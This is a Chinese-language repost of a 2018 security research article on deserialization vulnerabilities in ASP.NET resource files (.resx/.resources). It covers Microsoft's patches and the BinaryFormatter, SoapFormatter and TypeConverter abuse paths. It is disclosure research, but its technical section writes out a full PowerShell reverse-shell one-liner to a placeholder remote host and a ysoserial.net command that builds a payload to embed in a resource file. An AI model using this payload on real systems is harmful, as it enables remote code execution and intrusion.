欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

来源:本站整理 作者:佚名 时间:2018-08-08 TAG: 我要投稿

ASP.NET应用程序中的资源文件通常用作本地化存储,它们可用于存储 用户交互界面元素 或 可被轻松翻译的字符串[1]。这些资源文件一般用.resx作为文件拓展名,而当它们以.resources作为文件拓展名时,还能够被应用程序编译使用。可在微软的网站上了解到资源文件的更多信息[2, 3]
这些资源文件虽然是XML格式的,但是它们仍可以包含序列化对象。二进制对象在被序列化后,可以存储在以base64编码的.resx文件中。资源文件支持BinaryFormatter, SoapFormatter和TypeConverters,这些方法均能被滥用于 反序列化不够安全的对象 或是 加载外部文件
这篇文章旨在更详细地讨论这种attack vector(攻击向量),提升大家对它的认知深度,本研究中确认问题的灵感来源于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书, Friday the 13th JSON Attacks8
 
补丁与遗留问题
我早在2018年1月时便向微软报告了资源文件(.resx和.resources)中的一些反序列化问题,但直至2018年7月微软才在许多产品中发布了多个补丁(CVE-2018-8172,CVE-2018-8172和 CVE-2018-8300),例如在这之前 SharePoint 与 Visual Studio 一直都在以不安全的方式处理资源文件[7]

在打上2018年7月的补丁后,已经无法在 Visual Studio 中直接打开有着Web记号(MOTW)[8]的.resx和.resources文件。当MOTW工作时,resgen.exe工具[9]会显示错误,而winres.exe工具[10]则会始终显示警告消息。值得注意的是,从压缩包中解压出的文件 或者是从 IE或Edge之外的浏览器中下载的文件 可能并被没有MOTW,大家应该更加谨慎地处理它们
微软开发者中心(MSDN)[11]的System.Resources命名空间文档也已经有了对应更新,包括ResourceManager,ResourceReader和ResourceSet方法的如下安全说明:
“Calling methods in this class with untrusted data is a security risk. Call the methods in the class only with trusted data. For more information, see Untrusted Data Security Risks”.
“使用不受信任的数据调用此类中的方法存在安全风险。仅使用受信任的数据调用此类中的方法。有关的更多信息,可参阅 不被信任数据存在的安全风险
我们应该注意到,System.Resources方法的行为尚未被更改,因此所有使用了ASP.NET库 读取、编译 或是 反编译 资源文件的应用程序(例如[12]和[13]),如果接受用户提供的资源文件,则很可能会受到攻击
 
如何对System.Resources命名空间产生影响?
因为无法事先确定资源文件中的序列化对象类型,所以不能通过排查 不安全的反序列化 这种方法来防止恶意代码执行。虽然在使用BinaryFormatter时可以保护到某些方法,但是想要预防所有的攻击是根本于事无补的,因为SoapFormatter或TypeConverters可以用作替代方法进行绕过
资源文件 还可以使用 UNC路径 指向本地文件或共享资源,而这又可能导致 文件枚举 或 SMB哈希劫持 等次要风险。当客户端工具被当成目标时, SMB哈希劫持可能会面临更高更大的风险
由于.resx文件基于XML,因此在使用普通XML库读取资源文件时,自定义的解析器可能容易遭受XML外部实体(XXE)攻击。但是默认情况下,ResXResourceReader类并不会处理 文档类型定义(DTD)这部分的XmlTextReader
技术细节
可以使用 数据的mimetype属性 和 元数据标签 在资源文件内反序列化对象,此外type属性还可以被用来反序列化使用了TypeConverters的对象
通过BinaryFormatter和SoapFormatter进行反序列化
在以下情况使用BinaryFormatter(System.Runtime.Serialization.Formatters.Binary.BinaryFormatter)对资源文件中的对象进行反序列化:
mimetype属性提交空值给数据标签;或者
mimetype属性是以下数据或元数据标签之一:
application/x-microsoft.net.object.binary.base64
text/microsoft-urt/psuedoml-serialized/base64
text/microsoft-urt/binary-serialized/base64
在以下情况使用SoapFormatter(System.Runtime.Serialization.Formatters.Soap.SoapFormatter)对资源文件中的对象进行反序列化:
mimetype属性是以下数据或元数据标签之一:
application/x-microsoft.net.object.soap.base64
text/microsoft-urt/soap-serialized/base64
由[14]处的源代码可知,SoapFormatter并没有通过System.Web被使用,然而这仍然可以通过 将 资源文件 上传到 ASP.NET Web应用程序 的资源文件夹中来执行
ysoserial.net项目[15]可在没有事先知道反序列化问题的情况下,生成Payload(攻击载荷)。下面的例子展示了如何生成具有 反向PowerShell 功能的Payload(攻击载荷)
$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"
然后如下所示,将生成的Payload(攻击载荷)用于资源文件当中
[Resource file default scheme and headers redacted]
data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载